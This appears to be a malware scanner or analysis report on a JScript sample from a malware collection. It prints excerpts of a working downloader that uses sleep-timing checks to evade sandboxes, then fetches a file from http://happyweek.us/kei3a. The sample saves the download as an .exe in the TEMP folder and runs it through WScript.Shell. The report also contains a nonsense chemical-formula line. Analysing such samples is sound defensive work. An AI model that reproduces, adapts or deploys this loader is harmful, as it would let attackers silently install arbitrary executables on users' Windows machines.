Hostile ^100% javascript-malware-collection Download

20160328_e7d6b7ae5fd13fa25493685fd6a57d7b.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-256ad9ffd5f08fcdb81ca6850a9b7ccbb587b030db910a1aa30947fa3bcf8d1f923

MaleculeO₄(AlAs₂CXe)H₅(Cm₃Db₂F₄Os₂Po₅)Md(Pa)

Evidence

UTC millisecond jitter sleep check lines 1–33

1var Nvchx = false;
2var Rdxaesbap = "CreateObject";
3var Nkqwt = function Amianiui() {return WScript[Rdxaesbap]("WScript.Shell");}();
4var Tjiqjatypl = 123213;
5var Nppbnc = "MSXML2.XMLHTTP";
6var Mcwsth = 2123213;
7var Cywjhvpb = 0;
8function Yqkkte(Lfrwdu){Nkqwt["Run"](Lfrwdu, Cywjhvpb, Cywjhvpb);};
9function Mvlvree(){return Nppbnc;};
10function Wbjsoi(Dqzmflhi, Cnzbgyszuc){return Dqzmflhi - Cnzbgyszuc;};
11function Bnzxhvy(){return Rdxaesbap;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Nvchx = true;
15  @end
⋯6 lines
22function Htnhx()
23{
24var Ozgsxpcxwf = new this["Date"]();
25var Oomvcpw = Ozgsxpcxwf["getUTCMilliseconds"]();
26WScript["Sleep"](Koobufsuhm());
27var Ozgsxpcxwf = new this["Date"]();
28var Olrlpetlsg = Ozgsxpcxwf["getUTCMilliseconds"]();
⋯5 lines

English function-word token "for" lines 39–42

39:2… ar Phkmfyusaq = false;
40var Paikajccqm = false;
41for (var Zinqfogh = Cywjhvpb; Zinqfogh < Koobufsuhm() * 1; Zinqfogh++){if (Htnhx() != Cywjhvpb){
42Phk …

Contains a hardcoded insecure HTTP URL lines 49–75

49:9… fyusaq && Rlphcwb() && Paikajccqm){
50function Svpjmkq() {return Nkqwt["ExpandEnvironmentStrings"]("%TEMP%/") + "EPelPAG8xI2.exe";};
51 Bywmmhf = Mvlvree();
52 Jxgss = WScript[Rdxaesbap](Bywmmhf);
53 var Ibmcbzzfa = 1;
54 while (Ibmcbzzfa){
55try {
56Jxgss[Pklirjcwl]("GET", "http://happyweek.us/kei3a", false);
57Jxgss["send"]();
58Aozhnvnzs = "Sleep";
59do {WScript[Aozhnvnzs](Koobufsuhm() * 11)} while (Jxgss["readystate"] < 4 );
60Ibmcbzzfa = Cywjhvpb;
61} catch(Nzgyd){Ibmcbzzfa = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Nvygftm(Oviup) {var Teewij = (1, 2, 3, 4, 5, Oviup); return Teewij;};
64Awdpsfuct = WScript[Bnzxhvy()]("ADODB.Stream");
65Bywmmhf = Awdpsfuct;
66Bywmmhf[Pklirjcwl]();
67Bywmmhf["type"] = Nvygftm(1);
68Bywmmhf["write"](Jxgss["ResponseBody"]);
69Awdpsfuct["position"] = Nvygftm(Cywjhvpb);
70Bywmmhf["SaveToFile"](Svpjmkq(), Nvygftm(2) );
71Awdpsfuct["close"]();
72Yqkkte(Svpjmkq());
73}
74}
75